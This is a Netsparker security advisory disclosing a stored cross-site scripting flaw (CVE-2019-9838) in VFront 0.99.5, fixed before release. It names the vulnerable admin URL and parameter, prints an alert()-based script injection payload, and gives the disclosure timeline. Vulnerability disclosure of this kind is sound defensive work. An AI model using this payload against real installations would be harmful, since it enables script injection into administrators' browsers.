Information
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Advisory by Netsparker
Name: Stored Cross-site Scripting Vulnerability in VFront
Affected Software: VFront
Affected Versions: 0.99.5
Homepage: http://www.vfront.org/
Vulnerability: Stored Cross-site Scripting
Severity: High
Status: Fixed
CVE-ID: CVE-2019-9838
CVSS Score (3.0): 8.6 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-19-003

Technical Details
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Injection Technical Details
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URL: http://{domain}/{vfront_path}/admin/sync_reg_tab.php?azzera=
Parameter Name: azzera
Parameter Type: GET
Attack Pattern: '"--&gt;</style></scRipt><scRipt>alert(0x0067C2)</scRipt>

Identification Technical Details
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URL: http://{domain}/{vfront_path}/admin/error_log.php

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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5th April 2019 - First Contact
16th May 2019 - Vendor Fixed
28th May 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Omer Citak while testing the Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanner finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities.